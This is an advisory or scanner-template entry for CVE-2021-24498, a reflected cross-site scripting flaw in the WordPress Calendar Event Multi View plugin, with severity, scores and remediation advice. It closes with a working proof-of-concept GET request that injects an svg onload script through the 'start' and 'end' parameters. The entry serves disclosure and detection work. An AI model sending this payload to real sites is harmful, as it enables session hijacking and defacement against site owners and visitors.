| Title | WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting |
|---|---|
| Author | suman_kar |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.25481 |
| CVE ID | CVE-2021-24498 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss wordpress wp-plugin wpscan dwbooster vkev vuln |
WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the ‘start’ and ‘end’ GET parameters before outputting them in the page (via php/edit.php).
GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
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